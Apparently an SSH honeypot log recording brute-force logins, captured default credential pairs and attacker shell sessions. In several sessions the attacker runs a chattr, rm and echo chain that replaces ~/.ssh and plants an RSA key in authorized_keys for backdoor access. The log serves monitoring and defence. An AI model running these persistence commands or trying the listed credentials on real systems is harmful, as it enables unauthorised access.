Adversarial Observation Interface

120.87.99.202

2026-07-28 15:26:03.545617 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c1e453e5a2c3

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "c1e453e5a2c3",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:26:03.545617Z",
  "end_time": "2026-07-28T15:28:03.554951Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:24:09.805349 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5065f6a03dec

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "5065f6a03dec",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:24:09.805349Z",
  "end_time": "2026-07-28T15:26:09.816653Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:22:43.210110 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: camilla

Record ID: e9d65d28da5f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "e9d65d28da5f",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:22:43.210110Z",
  "end_time": "2026-07-28T15:22:45.525752Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "camilla",
      "pass": "camilla"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

176.53.159.196

2026-07-28 15:21:08.235840 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 861eb348c3af

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "861eb348c3af",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T15:21:08.235840Z",
  "end_time": "2026-07-28T15:21:09.401268Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:20:51.454889 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9d4a8c67874c

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "9d4a8c67874c",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:20:51.454889Z",
  "end_time": "2026-07-28T15:22:51.465573Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:18:55.791204 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a5e56f15808f

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "a5e56f15808f",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:18:55.791204Z",
  "end_time": "2026-07-28T15:20:55.799860Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:16:44.541007 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e9e0c7ebd911

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "e9e0c7ebd911",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:16:44.541007Z",
  "end_time": "2026-07-28T15:18:44.645809Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:14:46.140640 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 24c90c256925

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "24c90c256925",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:14:46.140640Z",
  "end_time": "2026-07-28T15:16:46.147177Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:13:10.850076 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 03696fb4f63e

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "03696fb4f63e",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:13:10.850076Z",
  "end_time": "2026-07-28T15:15:10.878991Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:11:11.511288 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 245250e70d36

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "245250e70d36",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:11:11.511288Z",
  "end_time": "2026-07-28T15:13:11.516259Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

176.53.159.196

2026-07-28 15:11:10.577074 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: aafa6e06f64a

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "aafa6e06f64a",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T15:11:10.577074Z",
  "end_time": "2026-07-28T15:11:11.743101Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:09:12.322231 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5bdc9186a12c

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "5bdc9186a12c",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:09:12.322231Z",
  "end_time": "2026-07-28T15:11:12.327253Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:07:13.636936 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7207711f30a0

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "7207711f30a0",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:07:13.636936Z",
  "end_time": "2026-07-28T15:09:13.642946Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:05:11.827687 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fa7ce349a470

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "fa7ce349a470",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:05:11.827687Z",
  "end_time": "2026-07-28T15:07:11.856050Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:03:12.967590 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 825c6a7109af

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "825c6a7109af",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:03:12.967590Z",
  "end_time": "2026-07-28T15:05:12.972839Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:01:14.021725 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 312b5e696713

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "312b5e696713",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:01:14.021725Z",
  "end_time": "2026-07-28T15:03:14.027201Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 14:59:14.251969 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1e6bfb67be36

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "1e6bfb67be36",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T14:59:14.251969Z",
  "end_time": "2026-07-28T15:01:14.256525Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

192.248.150.180

2026-07-28 14:58:06.673029 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c84727852c20

Client Version: SSH-2.0-Go

Engagement Duration: 0.3s

HASSH Fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd

{
  "id": "c84727852c20",
  "src_ip": "192.248.150.180",
  "start_time": "2026-07-28T14:58:06.673029Z",
  "end_time": "2026-07-28T14:58:07.012925Z",
  "duration": "0.3",
  "version": "SSH-2.0-Go",
  "hassh": "e54ef3ec27fe1fea7ab64d3fa05359fd",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

176.53.159.196

2026-07-28 14:54:00.024000 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 487a59cd4670

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "487a59cd4670",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T14:54:00.024000Z",
  "end_time": "2026-07-28T14:54:01.185178Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

193.46.255.86

2026-07-28 14:49:56.001681 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / Aa112211

Record ID: e6a694795dce

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "e6a694795dce",
  "src_ip": "193.46.255.86",
  "start_time": "2026-07-28T14:49:56.001681Z",
  "end_time": "2026-07-28T14:50:02.007657Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Aa112211"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:49:49.648725 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 4b0bb91754bb

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "4b0bb91754bb",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:49:49.648725Z",
  "end_time": "2026-07-28T14:49:50.233662Z",
  "duration": "0.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:49:47.953430 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 07e865b99438

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "07e865b99438",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:49:47.953430Z",
  "end_time": "2026-07-28T14:49:49.569104Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:49:46.522851 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / QQqq123456

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: de4cb4280b0d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "de4cb4280b0d",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:49:46.522851Z",
  "end_time": "2026-07-28T14:49:50.238194Z",
  "duration": "3.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "QQqq123456"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

70.81.127.119

2026-07-28 14:47:20.809147 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: haiwen

Record ID: ae56b9e35704

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ae56b9e35704",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:47:20.809147Z",
  "end_time": "2026-07-28T14:47:22.398012Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "haiwen",
      "pass": "haiwen"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.87.99.202

2026-07-28 14:46:19.852631 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ks

Record ID: 47684ca45a46

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "47684ca45a46",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T14:46:19.852631Z",
  "end_time": "2026-07-28T14:46:21.999412Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "ks",
      "pass": "ks"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:44:59.193387 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mq

Record ID: 037a6ab1723a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "037a6ab1723a",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:44:59.193387Z",
  "end_time": "2026-07-28T14:45:00.767812Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "mq",
      "pass": "mq"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:42:34.455914 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 67d2e61c730c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "67d2e61c730c",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:42:34.455914Z",
  "end_time": "2026-07-28T14:42:35.194031Z",
  "duration": "0.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:42:32.596867 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: b46c6687dcf2

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b46c6687dcf2",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:42:32.596867Z",
  "end_time": "2026-07-28T14:42:34.369588Z",
  "duration": "1.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:42:31.088705 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 456123abc

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 6b527d56a3b2

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 4.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6b527d56a3b2",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:42:31.088705Z",
  "end_time": "2026-07-28T14:42:35.190257Z",
  "duration": "4.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "456123abc"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

70.81.127.119

2026-07-28 14:40:10.092767 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 60b0890cab12

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "60b0890cab12",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:40:10.092767Z",
  "end_time": "2026-07-28T14:40:10.676066Z",
  "duration": "0.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:40:08.410951 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: a11363a7658a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "a11363a7658a",
  "src_ip": "70.81.127.119",
  "start_time": "2026-07-28T14:40:08.410951Z",
  "end_time": "2026-07-28T14:40:09.991241Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

70.81.127.119

2026-07-28 14:40:07.001472 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Password01@

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

